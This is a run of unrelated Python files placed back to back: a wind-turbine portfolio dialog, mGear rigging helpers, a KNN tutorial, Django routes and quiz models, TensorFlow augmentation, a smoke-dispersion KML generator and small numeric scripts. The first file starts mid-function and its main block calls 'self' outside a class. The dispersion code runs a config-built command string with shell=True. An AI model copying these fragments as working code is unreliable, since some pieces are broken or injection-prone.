            diameter = None
            hubHeight = None
            ratedPower = None
            cutOutWindSpeed = None
            datasets = None

        self.addTitleRow(master, "Portfolio Item Settings:")

        self.description = self.addEntry(master, "Description:", ValidateNotBlank(master), description)
        self.diameter = self.addEntry(master, "Diameter:", ValidateNonNegativeFloat(master), diameter)
        self.hubHeight = self.addEntry(master, "Hub Height:", ValidateNonNegativeFloat(master), hubHeight)
        self.ratedPower = self.addEntry(master, "Rated Power:", ValidateNonNegativeFloat(master), ratedPower)
        self.cutOutWindSpeed = self.addEntry(master, "Cut Out Wind Speed:", ValidateNonNegativeFloat(master), cutOutWindSpeed)

        self.datasetsListBoxEntry = self.addListBox(master, "Datasets ListBox")

        if not self.isNew:
                for dataset in datasets:
                        self.datasetsListBoxEntry.listbox.insert(END, dataset)

        self.datasetsListBoxEntry.listbox.grid(row=self.row, sticky=W+E+N+S, column=self.labelColumn, columnspan=2)
        self.validateDatasets = ValidateDatasets(master, self.datasetsListBoxEntry.listbox)
        self.validations.append(self.validateDatasets)
        self.validateDatasets.messageLabel.grid(row=self.row, sticky=W, column=self.messageColumn)

        self.newDatasetButton = Button(master, text="New", command = self.NewDataset, width=5, height=1)
        self.newDatasetButton.grid(row=self.row, sticky=E+N, column=self.secondButtonColumn)

        self.editDatasetButton = Button(master, text="Edit", command = self.EditDataset, width=5, height=1)
        self.datasetsListBoxEntry.listbox.bind("<Double-Button-1>", self.EditDataset)
        self.editDatasetButton.grid(row=self.row, sticky=E+S, column=self.secondButtonColumn)

        self.addDatasetButton = Button(master, text="+", command = self.addDataset, width=2, height=1)
        self.addDatasetButton.grid(row=self.row, sticky=E+N, column=self.buttonColumn)

        self.removeDatasetButton = Button(master, text="-", command = self.removeDatasets, width=2, height=1)
        self.removeDatasetButton.grid(row=self.row, sticky=E+S, column=self.buttonColumn)

        #dummy label to indent controls
        Label(master, text=" " * 5).grid(row = (self.row-1), sticky=W, column=self.titleColumn)

    def apply(self):

        datasets = []

        for i in range(self.datasetsListBoxEntry.listbox.size()):
                dataset = self.relativePath.convertToRelativePath(self.datasetsListBoxEntry.listbox.get(i))
                datasets.append(dataset)

        self.text = encodePortfolioItemValuesAsText(self.description.get().strip(), \
                                                    self.diameter.get(), \
                                                    self.hubHeight.get(), \
                                                    self.ratedPower.get(), \
                                                    self.cutOutWindSpeed.get(), \
                                                    datasets)

        if self.isNew:
                self.status.addMessage("Portfolio Item created")
        else:
                self.status.addMessage("Portfolio Item updated")

        if self.index== None:
                self.callback(self.text)
        else:
                self.callback(self.text, self.index)

    def EditDataset(self, event = None):

        items = self.datasetsListBoxEntry.listbox.curselection()
        if len(items) == 1:
            index = items[0]
            path = self.datasetsListBoxEntry.listbox.get(index)
            try:
                datasetConfig = configuration.DatasetConfiguration(self.relativePath.convertToAbsolutePath(path))
                DatasetConfigurationDialog(self, self.status, self.addDatasetFromPath, datasetConfig, index)
            except ExceptionType as e:
                self.status.addMessage("ERROR loading config (%s): %s" % (path, e))

    def NewDataset(self):

        try:
            config = configuration.DatasetConfiguration()
            DatasetConfigurationDialog(self, self.status, self.addDatasetFromPath, config)
        except ExceptionType as e:
            self.status.addMessage("ERROR creating dataset config: %s" % e)

    def addDataset(self):
        fileName = askopenfilename(parent=self.master, initialdir=preferences.dataset_last_opened_dir(), defaultextension=".xml")
        if len(fileName) > 0: self.addDatasetFromPath(fileName)

    def addDatasetFromPath(self, path, index = None):

        try:
                preferences.datasetLastOpened = path
                preferences.save()
        except ExceptionType as e:
            self.addMessage("Cannot save preferences: %s" % e)

        path = self.relativePath.convertToRelativePath(path)

        if index != None:
            self.datasetsListBoxEntry.listbox.delete(index, index)
            self.datasetsListBoxEntry.listbox.insert(index, path)
        else:
            self.datasetsListBoxEntry.listbox.insert(END, path)

        self.validateDatasets.validate()

    def removeDatasets(self):

        items = self.datasetsListBoxEntry.listbox.curselection()
        pos = 0

        for i in items:
            idx = int(i) - pos
            self.datasetsListBoxEntry.listbox.delete(idx, idx)
            pos += 1

        self.validateDatasets.validate()

if __name__ == "__main__":

	dialog = PortfolioDialog(self.root, WindowStatus(self), self.LoadPortfolioFromPath, portfolioConfiguration)


import pymel.core as pm
from mgear.core import attribute

class customShifterMainStep(object):
    '''
    Main Class for shifter custom steps
    '''

    def __init__(self, stored_dict):
        """Constructor
        """
        self._step_dict = stored_dict

    @property
    def mgear_run(self):
        """Returns the resulting object of the 'mgearRun' step.
        """
        if "mgearRun" not in self._step_dict:
            raise Exception(
                "Can't access the 'mgearRun' in pre steps \
                or when running individual steps.")

        return self._step_dict.get('mgearRun')

    def component(self, name):
        """Access to components from the current build process.

        Args:
            name (str): The name of the component

        Returns:
            Component: The matching Component object
        """
        if name not in self.mgear_run.components:
            raise KeyError("Could not find the '{}' component.".format(name))
        return self.mgear_run.components[name]

    def custom_step(self, name):
        """Allows access to custom steps that have already ran in the past.

        Args:
            name (str): The name of the custom step

        Returns:
            customShifterMainStep: The matching customShifterMainStep object
        """
        if name not in self._step_dict:
            raise KeyError(
                "The custom step '{}' does not exist, or \
                did not run yet.".format(name))

        return self._step_dict[name]

    def setup(self):
        """This function mus be re implemented for each custom step.

        Raises:
            Exception: Description
        """
        raise NotImplemented("'setup' must be implemented")

    def run(self):
        """This function mus be re implemented for each custom step.

        Raises:
            Exception: Description
        """
        raise NotImplemented("'run' must be implemented")

    def dup(self, source, name=None):
        """Duplicate the source object and rename it

        Args:
            source (PyNode): The Source object to duplicate
            name (None, string): The name for the new object. If the value
                is None the name will be set by using the custom step name

        Returns:
            PyNode: The new duplicated object.
        """
        dup = pm.duplicate(source)[0]
        dup.visibility.set(True)
        attribute.unlockAttribute(dup)
        if name:
            pm.rename(dup, name)
        else:
            pm.rename(dup, "_".join([source.name(), self.name, "setup"]))
        pm.parent(dup, self.setup_root)
        return dup


#K-Nearesst Neighbour

#importing the Librares
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

#set the index value as index_col 0
data=pd.read_csv('./Dataset/Classified Data',index_col=0)

#standardize the values
from sklearn.preprocessing import StandardScaler

#Create a object for StandardScaler
scaler=StandardScaler()

#fit and tranform the value to the standard values
scaler.fit(data.drop('TARGET CLASS',axis=1))
scaled_features=scaler.transform(data.drop('TARGET CLASS',axis=1))

#This scaled data doesn't have index name and column name
#store the scaled feature in a dataset

#columns will fil the columns index
#and also neglecting the target class because that is
#independent feature
df_feat=pd.DataFrame(scaled_features,columns=data.columns[:-1])

#sns.pairplot(data,hue='TARGET CLASS')

#Separate the train and test data
from sklearn.model_selection import train_test_split
#first is independent feature ->input dependent feature -> output
x_train,x_test,y_train,y_test=train_test_split(scaled_features,data['TARGET CLASS'])

#k_nearest Neighbour
from sklearn.neighbors import KNeighborsClassifier
#Giving K=1
knn = KNeighborsClassifier(n_neighbors=1)
knn.fit(x_train,y_train)

pred=knn.predict(x_test)

#use the confusion matrix to get the what are the values correctly perdicted
#and unpredicted

from sklearn.metrics import classification_report,confusion_matrix

#here you can see which are all the values g
print(confusion_matrix(pred,y_test))

#Give reports accuracy and other scores
print(classification_report(pred,y_test))

#Run the error rate find the point falls below and predict the K value

error_rate=[]

for i in range(1,40):
    knn=KNeighborsClassifier(n_neighbors=i)
    knn.fit(x_train,y_train)
    pred=knn.predict(x_test)
    error_rate.append(np.mean(pred!=y_test))

#plot the error rate vs K values for the error rate calculated
plt.figure(figsize=(10,6))

plt.plot(range(1,40),error_rate,linestyle="dashed",marker="o",markersize=10,
         markerfacecolor="red")

plt.title("Error Rate Graph")
plt.xlabel("K-value")
plt.ylabel("Error_Rate")

#here you can see that after k=24 it never touches back so choose that value

knn=KNeighborsClassifier(n_neighbors=24)
knn.fit(x_train,y_train)
pred=knn.predict(x_test)

#Confusion Matric
print(confusion_matrix(y_test,pred))
#classification report
print(classification_report(y_test,pred))

#You can see that accuracy has increased


"""Labels app urls"""
from django.urls import path

from task_manager.labels.views import (
    LabelsView,
    LabelUpdateView,
    LabelCreateView,
    LabelDeleteView,
)

app_name = 'labels'

urlpatterns = [
    path('', LabelsView.as_view(), name='index'),
    path('<int:pk>/update/', LabelUpdateView.as_view(), name='upd_label'),
    path('<int:pk>/delete/', LabelDeleteView.as_view(), name='del_label'),
    path('create/', LabelCreateView.as_view(), name='create'),
]


import tensorflow.compat.v1 as tf

"""
`image` is assumed to be a float tensor with shape [height, width, 3].
It is a RGB image with pixel values in the range [0, 1].
"""

def random_color_manipulations(image, probability=0.5, grayscale_probability=0.1):
    """
    This function randomly changes color of an image.

    It is taken from here:
    https://cloud.google.com/tpu/docs/inception-v3-advanced
    """
    def manipulate(image):

        br_delta = tf.random_uniform([], -32.0/255.0, 32.0/255.0)
        cb_factor = tf.random_uniform([], -0.1, 0.1)
        cr_factor = tf.random_uniform([], -0.1, 0.1)

        red_offset = 1.402 * cr_factor + br_delta
        green_offset = -0.344136 * cb_factor - 0.714136 * cr_factor + br_delta
        blue_offset = 1.772 * cb_factor + br_delta

        channels = tf.split(axis=2, num_or_size_splits=3, value=image)
        channels[0] += red_offset
        channels[1] += green_offset
        channels[2] += blue_offset

        image = tf.concat(axis=2, values=channels)
        image = tf.clip_by_value(image, 0.0, 1.0)
        return image

    def to_grayscale(image):
        image = tf.image.rgb_to_grayscale(image)
        image = tf.image.grayscale_to_rgb(image)
        return image

    do_it = tf.less(tf.random_uniform([]), probability)
    image = tf.cond(do_it, lambda: manipulate(image), lambda: image)

    do_it = tf.less(tf.random_uniform([]), grayscale_probability)
    image = tf.cond(do_it, lambda: to_grayscale(image), lambda: image)

    return image

def random_pixel_value_scale(image, probability=0.5, minval=0.9, maxval=1.1):
    """
    This function scales each pixel
    independently of the other ones.

    Arguments:
        image: a float tensor with shape [height, width, 3],
            an image with pixel values varying between zero and one.
        probability: a float number.
        minval: a float number, lower ratio of scaling pixel values.
        maxval: a float number, upper ratio of scaling pixel values.
    Returns:
        a float tensor with shape [height, width, 3].
    """
    def random_value_scale(image):
        color_coefficient = tf.random_uniform(
            tf.shape(image), minval=minval,
            maxval=maxval, dtype=tf.float32
        )
        image = tf.multiply(image, color_coefficient)
        image = tf.clip_by_value(image, 0.0, 1.0)
        return image

    do_it = tf.less(tf.random_uniform([]), probability)
    image = tf.cond(do_it, lambda: random_value_scale(image), lambda: image)
    return image


import os
import subprocess
from datetime import timedelta

from . import dispersion_file_utils as dfu
from .dispersiongrid import BSDispersionGrid, BSDispersionPlot, create_color_plot

class PolygonGenerator(object):
    """Generates polygon kmls from a NETCDF file representing smoke dispersion
    time series.

    Public Instance Attributes:
      output_dir - output directory containing generated polygon kmls,
                    legend, xsl file, and cutpoints file
      legend_filename - legend's file name
      kml_files - list of tuples of the form (<kml file name>, <prediction
                    timestamp>)
    """

    # HACK: It would be more elegant to generate xml using an XML package, like minidom.
    # We're using raw strings for speed of implementation.

    XSL_FIRST_PART = r"""<?xml version="1.0"?>

<!-- This is an xsl stylesheet to add styles to an OGR generated KML file -->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:kml="http://www.opengis.net/kml/2.2" version="1.0">
    <xsl:output method="xml" indent="yes" omit-xml-declaration="no" encoding="utf-8"/>

    <!-- In general, just pass through all elements and attributes -->
    <xsl:template match="*">
        <xsl:copy>
            <xsl:copy-of select="@*" />
            <xsl:apply-templates />
        </xsl:copy>
    </xsl:template>

    <!-- We want to eliminate any embedded style because we don't want to hide the external styles -->
    <xsl:template match="kml:Style" />

  <!-- Eliminate Schema and ExtendedData -->
    <xsl:template match="kml:Schema" />
    <xsl:template match="kml:ExtendedData" />

    <xsl:template match="kml:Document">
        <xsl:copy>
            <xsl:copy-of select="@*" />
    """

    XSL_STYLE_ELEMENT = """<Style id=\"%s\">
                <PolyStyle>
                    <color>%s</color>
                    <fill>%s</fill>
                    <outline>0</outline>
                </PolyStyle>
            </Style>
    """

    XSL_LAST_PART = r"""<xsl:apply-templates />
        </xsl:copy>
    </xsl:template>

    <xsl:template match="kml:Placemark">
        <xsl:copy>
            <xsl:copy-of select="@*" />
            <styleUrl><xsl:value-of select="./kml:ExtendedData/kml:SchemaData/kml:SimpleData[@name='Category']" /></styleUrl>
            <xsl:apply-templates />
        </xsl:copy>
    </xsl:template>

</xsl:stylesheet>
    """

    POLYGONS_CONFIG_SECTION = 'PolygonsKML'

    # TODO: pass in individual values from confif rather than config itself.
    def __init__(self, config, parameter):
        self._config = config
        self._parameter = parameter

        # TODO: support multiple color schemes
        self._color_bar_section = self._config.get(self.POLYGONS_CONFIG_SECTION, 'POLYGON_COLORS').split(',')[0]

        self._create_output_dir()
        self._import_grid()
        self._generate_custom_cutpoints_file()
        self._generate_custom_xsl_files()
        self._generate_kmls()
        self._generate_legend()

    def _create_output_dir(self):
        self.output_dir = self._config.get(self.POLYGONS_CONFIG_SECTION,
            'POLYGONS_OUTPUT_DIR').rstrip('/') + '-' + self._parameter.lower()
        if not os.path.exists(self.output_dir):
            os.makedirs(self.output_dir)

    def _import_grid(self):
        self._infile = self._config.get('DispersionGridInput', "FILENAME")
        self._makepolygons_infile = "NETCDF:%s:%s" % (self._infile, self._parameter)
        self._grid = BSDispersionGrid(self._infile, param=self._parameter)  # dispersion grid instance

    def _generate_custom_cutpoints_file(self):
        self._custom_cutpoints_filename = os.path.join(self.output_dir, 'CutpointsGateway.csv')
        newfile = open(self._custom_cutpoints_filename, 'w')
        newfile.write("Name,Threshold\n")

        levels =  [s for s in self._config.get(self._color_bar_section, "DATA_LEVELS").split()]
        for i in range(len(levels)):
            newfile.write("Cat%d,%s\n" % (i, levels[i]))
        newfile.close()

    def _generate_custom_xsl_files(self):
        self._custom_xsl_filename = os.path.join(self.output_dir, 'KMLPolygonStyleGateway.xsl')
        newfile = open(self._custom_xsl_filename, 'w')
        newfile.write(self.XSL_FIRST_PART)

        hex_colors = self._parse_colors()
        for i in range(len(hex_colors)):
            if hex_colors[i] == '000000':
                color_str = '00000000'
                fill_str = '0'
            else:
                color_str = '99%s' % (hex_colors[i])
                fill_str = '1'
            newfile.write(self.XSL_STYLE_ELEMENT % ("Cat%d" % (i), color_str, fill_str))

        newfile.write(self.XSL_LAST_PART)
        newfile.close()

    def _parse_colors(self):
        if self._config.getboolean(self._color_bar_section, "DEFINE_RGB"):
            r = [int(s) for s in self._config.get(self._color_bar_section, "RED").split()]
            g = [int(s) for s in self._config.get(self._color_bar_section, "GREEN").split()]
            b = [int(s) for s in self._config.get(self._color_bar_section, "BLUE").split()]
            if not len(r) == len(g) == len(b):
                raise Exception("Configuration ERROR... RED, GREEN, BLUE must specify same number of values.")
            # kml colors are specified as 'aabbggrr' (where 'aa' is the alpha value)
            return ['%02x%02x%02x' % (b[i], g[i], r[i]) for i in range(len(r))]
        elif self._config.getboolean(self._color_bar_section, "DEFINE_HEX"):
            return [s.strip('#') for s in self._config.get(self._color_bar_section, "HEX_COLORS").split()]
        else:
            raise Exception("Configuration ERROR... DEFINE_RGB or HEX_COLORS must be true.")

    def _generate_kmls(self):
        self._kml_file_basename, ext = os.path.splitext(os.path.basename(self._infile))

        dfu.create_polygon_kmls_dir(self._config, self._parameter)
        self.kml_files = []

        # def my_output_handler(logger, output, is_stderr):
        #     logger.log(OUTPUT, output)

        for i in range(self._grid.num_times):
            try:
                self._generate_kml(i)
            except:
                break

    def _generate_kml(self, i):
        dt = self._grid.datetimes[i] - timedelta(hours=1)
        band = i + 1

        #self.log.debug("Processing %s band %2d: %s...", name, band, dt.strftime("%Y-%m-%d %HZ"))
        #kmlfile = dt.strftime(name + "_%Y%m%d%H.kml")
        kmlfile = self._kml_file_basename + str(band) + ".kml"
        poly_file = os.path.join(self.output_dir, kmlfile)
        #self.log.debug("Opened poly_file %s", poly_file)

        args = [
            self._config.get(self.POLYGONS_CONFIG_SECTION, "MAKEPOLYGONS_BINARY"),
            "-in=" + self._makepolygons_infile,
            "-band=" + str(band),
            "-cutpoints=" + os.path.abspath(self._custom_cutpoints_filename),
            "-format=KML",
            "-kmlStyle=" + self._custom_xsl_filename,
            "-out=" + poly_file
        ]

        if subprocess.call(' '.join(args), shell=True) != 0:
            msg = "Failure while trying to create %s" % (poly_file)
            #self.log.error(msg)
            raise RuntimeError(msg)

        self.kml_files.append((kmlfile, dt))

    LEGEND_FILENAME_ROOT = 'colorbar_polygons'

    def _generate_legend(self):
        plot = create_color_plot(self._config, self._parameter, self._grid,
            self._color_bar_section)
        root_w_parameter = "{}_{}".format(self._parameter.lower(),
            self.LEGEND_FILENAME_ROOT)
        plot.make_colorbar(os.path.join(self.output_dir, root_w_parameter))
        self.legend_filename = "%s.%s" % (root_w_parameter, plot.export_format)


from django.core.exceptions import ValidationError
from django.core.validators import MaxValueValidator, MinValueValidator
from django.db import models
from django.utils.translation import gettext_lazy as _
from django.contrib.postgres.fields import ArrayField

from udemy.apps.core.models import TimeStampedBase, OrderedModel, CreatorBase
from udemy.apps.course.models import Course
from udemy.apps.module.models import Module
from udemy.apps.quiz.annotations import QuizAnnotations

class Quiz(TimeStampedBase, OrderedModel):
    title = models.CharField(_('Title'), max_length=200)
    description = models.TextField(_('Description'))
    is_published = models.BooleanField(default=False)
    is_draft = models.BooleanField(default=True)
    is_timed = models.BooleanField(default=False)
    pass_percent = models.PositiveIntegerField(validators=[MaxValueValidator(100)])
    module = models.ForeignKey(
        Module,
        related_name='quizzes',
        on_delete=models.CASCADE,
    )
    course = models.ForeignKey(
        Course,
        related_name='quizzes',
        on_delete=models.CASCADE,
    )
    order_in_respect = ('course', 'module')
    annotation_class = QuizAnnotations()

class Question(TimeStampedBase, OrderedModel):
    question = models.TextField()
    feedback = models.TextField()
    answers = ArrayField(models.TextField())
    max_time = models.PositiveIntegerField(default=0)
    quiz = models.ForeignKey(
        Quiz,
        related_name='questions',
        on_delete=models.CASCADE
    )
    course = models.ForeignKey(
        Course,
        related_name='questions_quiz',
        on_delete=models.CASCADE,
    )
    correct_response = models.IntegerField(validators=[MinValueValidator(1)])
    order_in_respect = ('quiz',)

    def save(self, *args, **kwargs):
        if self.correct_response > len(self.answers):
            raise ValidationError({'correct_response': 'invalid response'})
        super().save(*args, **kwargs)

class QuizRelation(CreatorBase, TimeStampedBase):
    quiz = models.ForeignKey(Quiz, on_delete=models.CASCADE)
    done = models.BooleanField(default=False)

    class Meta:
        constraints = [
            models.UniqueConstraint(fields=('creator', 'quiz'), name='unique quiz relation')]


import math
import numpy as np
import pandas as pd
n = 10
x = np.random.randint(0, 50, n)
y = np.random.randint(0, 50, n)
lista = []
listb = []
listc = []
for i in range(n-1):
    for j in range(i+1, n):
        lista.append((x[i]-x[j])*(x[i]-x[j]))
        listb.append((y[i]-y[j])*(y[i]-y[j]))
for i in range(len(lista)):
    listc.append(math.sqrt(lista[i]+listb[i]))
print(listc)
# 2
listd = []
x = np.random.randint(0, 50, [n, 2])

y = np.zeros([n, n])

for i in range(n):
    for j in range(i, n):
        y[i, j] = y[j, i] = np.sqrt(np.sum((x[i]-x[j])**2))
y = y.round(2)
print(y)


####################
# Joint distribution of Ask/Bid Qty
####################

import os
import pickle
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from mpl_toolkits.mplot3d import axes3d

data_directory = 'data/xFGBL'
img_directory = 'images/'
data_file = 'xFGBL20130702.pkl'

for fn in os.listdir(data_directory):
    with open(os.path.join(data_directory, fn), 'rb') as input:
        r=pickle.load(input)

        X = r['AskQty']
        Y = r['BidQty']
        bins = np.arange(0, 600, 20)
        hist, xedges, yedges = np.histogram2d(Y, X, bins=bins, normed=True)

        fig = plt.figure()
        fig.suptitle(fn, fontsize=20)

        ax = fig.add_subplot(111, projection='3d')
        elements = (len(xedges) - 1) * (len(yedges) - 1)
        X, Y = np.meshgrid(xedges[:-1]+0.25, yedges[:-1]+0.25)
        ax.plot_wireframe(X, Y, hist)

        # xpos = X.flatten()
        # ypos = Y.flatten()
        # zpos =  np.zeros(elements)
        # dx =  10 * np.ones_like(zpos)
        # dy = dx.copy()
        # dz = hist.flatten()

        #ax.bar3d(xpos, ypos, zpos, dx, dy, dz, color='b', zsort='average')
        #ax.scatter(xpos, ypos, dz)

        #plt.show()
        plt.savefig(os.path.join(img_directory, fn + '.png'))